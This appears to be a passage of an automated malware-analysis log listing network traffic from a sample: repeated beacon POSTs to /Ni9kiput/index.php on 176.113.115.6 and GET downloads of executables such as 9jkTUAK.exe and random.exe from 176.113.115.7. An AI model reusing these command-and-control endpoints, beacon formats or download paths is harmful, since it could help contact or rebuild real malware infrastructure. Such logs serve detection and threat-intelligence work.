Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET /files/1203326979/9jkTUAK.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 32Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 32 38 39 31 30 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=10128910101&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/1203326979/9jkTUAK.exe HTTP/1.1Host: 176.113.115.7If-Modified-Since: Fri, 07 Mar 2025 19:06:44 GMTIf-None-Match: "a400-62fc552c7e6b0"
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 32Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 32 38 39 32 30 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=10128920101&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET /files/teamex_support/random.exe HTTP/1.1Host: 176.113.115.7
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 32Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 32 38 39 33 30 31 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=10128930101&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 36 42 35 38 41 38 30 42 34 45 46 41 38 45 34 39 32 32 44 43 33 31 34 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 32 32 46 37 39 42 37 35 30 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA706B58A80B4EFA8E4922DC31419B140BE1D46450FC9DDF642E3BDD70A7CB22F79B75082D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: POST /Ni9kiput/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 176.113.115.6Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
